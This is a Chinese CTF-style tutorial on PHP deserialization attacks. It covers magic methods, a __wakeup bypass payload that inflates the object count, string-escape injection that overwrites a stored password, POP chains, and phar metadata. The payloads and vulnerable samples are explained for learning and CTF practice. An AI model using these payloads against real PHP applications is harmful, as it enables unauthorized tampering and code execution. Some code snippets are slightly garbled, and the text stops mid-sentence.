常见魔术方法
- __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
- __destruct():析构函数,当对象被销毁时会自动调用。
- __wakeup() :如前所提,unserialize()时会自动调用。
- call():在对象中调用一个不可访问方法时,call() 会被调用。
- __get():读取不可访问(protected 或 private)或不存在的属性的值时会被调用。
invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用。
__wakeup函数绕过
PHP 有个 Bug,触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10,该漏洞可以简要的概括为:当序列化字符串中表示对象个数的值
大于
真实的属性个数时会跳过__wakeup
函数的执行,例如: ```php <?php class xctf { public $flag = “111”;public function __wakeup() {
exit('bad requests');
} }
//echo serialize(new xctf()); echo unserialize($_GET[‘code’]); echo “flag{**}”; ?>
使用这个 payload 绕过`__wakeup`函数
```php
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
这个本质上是因为反序列化失败,从而不会触发__wakeup
,参考https://paper.seebug.org/866/#php_2。
有些题目会这么考:
class hack{
public function __destruct(){
// code
}
}
$a = unserialize($_GET['a']);
if(preg_match('/hack/i',serialize($a))){
die("hack");
}
先一个unserialize,并将值给$a,然后再serialize。
如果说想要反序列化出来hack对象,执行其中的__destruct
方法,那么传入的字符串中是肯定要带hack
的,而这就过不了preg_match
,但是如果修改序列化字符串,让其反序列化失败,此时$a的值为bool(false)
,就可以成功绕过下面的preg_match。
php反序列化字符串逃逸
先看个例子:
<?php
function filter($string){
return str_replace('x','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
var_dump(serialize($user));
echo '\n';
$r = filter(serialize($user));
var_dump($r);
echo '\n';
var_dump(unserialize($r));
正常序列化得到的是a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
而如果在username里面加上几个x,那么由于filter函数的原因,x会被替换成yy,而这显然会多出来一个字符,最后变成:
a:2:{i:0;s:7:"peri0dx";i:1;s:5:"aaaaa";}==>a:2:{i:0;s:7:"peri0dyy";i:1;s:5:"aaaaa";}
此时反序列化肯定是会报错的。
那么如果我们的目的是修改密码,该怎么利用这个漏洞
首先PHP 在反序列化时,底层代码是以;
作为字段的分隔,以 }
作为结尾(字符串使用引号进行闭合),并且是根据长度判断内容的。
那么我们就可以通过手动闭合字符串,来添加一些额外的数据。
将username设置为peri0d";i:1;s:6:"hacker";}
,此时得到的数据:
string(60) "a:2:{i:0;s:26:"peri0d";i:1;s:6:"hacker";}";i:1;s:5:"aaaaa";}"
array(2) {
[0]=>
string(26) "peri0d";i:1;s:6:"hacker";}"
[1]=>
string(5) "aaaaa"
}
之所以没有修改成功是因为php严格按照前面的数字来读取字符串,有26个就会往后读26个,并不考虑中间是否有;
、"
或{}
。
但是前面已知x会被替换成yy,显然替换后会多一个字符,那么就会导致反序列化读取的字符串数目少一个,";i:1;s:6:"hacker";}
总共有20个字符,也就是说需要20个x,就可以实现修改密码:
string(80) "a:2:{i:0;s:46:"peri0dxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"hacker";}";i:1;s:5:"aaaaa";}"
string(100) "a:2:{i:0;s:46:"peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"hacker";}";i:1;s:5:"aaaaa";}"
array(2) {
[0]=>
string(46) "peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
[1]=>
string(6) "hacker"
}
POP链
基本上就是各种魔术方法的利用
- __construct() //当一个对象创建时被调用
- __destruct() //当一个对象销毁时被调用
- __wakeup() //使用unserialize时触发
- __sleep() //使用serialize时触发
- __destruct() //对象被销毁时触发
- __call() //在对象上下文中调用不可访问的方法时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
- __toString() //把类当作字符串使用时触发
-
利用 phar 拓展 php 反序列化
首先生成一个phar文件:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
010 editor打开,可以看出来metadata是以序列化的形式存进去的
那么有序列化就一定有反序列化,受影响的函数: